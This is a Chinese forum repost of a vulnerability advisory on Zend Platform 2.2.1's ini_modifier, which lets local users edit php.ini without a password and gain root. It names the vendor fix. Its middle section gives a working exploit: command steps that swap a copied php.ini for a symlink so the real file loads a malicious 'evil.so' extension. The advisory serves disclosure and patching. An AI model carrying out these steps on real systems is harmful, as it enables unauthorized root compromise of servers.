发新话题
打印

[Zend Platform] Zend Platform PHP.INI文件修改漏洞

Zend Platform PHP.INI文件修改漏洞

漏洞起因

配置错误

影响系统

Zend Zend Platform 2.2.1
Zend Zend Platform 2.2.1a
Zend Zend Platform 2.2.1(a)

不受影响系统

Zend Zend Platform 3.0

危害

本地攻击者可以利用漏洞无需密码修改Php.ini文件,导致特权提升。

攻击所需条件

攻击者必须访问Zend Platform。

漏洞信息

Zend Platform是一款企业级PHP应用的Run-Time平台环境。

Zend Platform包含的ini_modifier设置不正确,本地攻击者可以利用漏洞无需密码修改Php.ini文件,导致特权提升。

ini_modifier用于Zend Platform中通过GUI更改php.ini文件:

$ ls -la /usr/local/Zend/sbin/ini_modifier
-rwxr-sr-x  1 root zendtech 243240 2006-08-14 16:24 ini_modifier

为了保护ini_modifier被滥用在编辑文件之前需要使用GUI密码。当它从php.ini中读取GUI密码的MD5 HASH时可通过字典或者Rainbowtable进行攻击。

因为ini_modifier可以使用-f参数打开替代的Php.ini文件,如果我们使用编辑器在它里面更改Zend GUI密码可编辑系统php.ini的一个拷贝:

$ cd /tmp
$ mkdir ini
$ cd ini
$ cp /usr/local/Zend/etc/php.ini .
... now edit zend_gui_password in the copy to a MD5 of your choice and
... REMEBER the old MD5
$ cd ..
$ /usr/local/Zend/sbin/ini_modifier -f /tmp/ini/php.ini -n
Password:
(ini_modifier) help
modify entry    - Modifies an entry.
switch extension   - Enables or disables an extension.
switch zend_extension   - Enables or disables a Zend extension.
help - Shows this help.
write - Writes the changes.
quit - Quits the program.
(ini_modifier) switch zend_extension /var/www/upload/evil.so on
(ini_modifier) modify entry Zend zend_gui_password OLDMD5
(ini_modifier)

在并行会话中可以执行如下操作:

$ cd /tmp
$ mv ini ini.bak
$ ln -s /usr/local/Zend/etc ini

然后编辑ini文件:

(ini_modifier) write
(ini_modifier) quit

$ cat /usr/local/Zend/etc/php.ini
[PHP]
zend_extension=/var/www/upload/evil.so
...
zend_gui_password=OLDMD5

在下次启动时就可以装载恶意ZEND扩展而导致以ROOT权限执行。

测试方法


厂商解决方案

升级到Zend Platform 3.0:

http://www.zend.com/products/zen ... ity_vulnerabilities

漏洞提供者
Stefan Esser

漏洞消息链接
http://www.php-security.org/MOPB/BONUS-07-2007.html

漏洞消息标题
BONUS-07-2007:Zend Platform ini_modifier Local Root Vulnerability

TOP

发新话题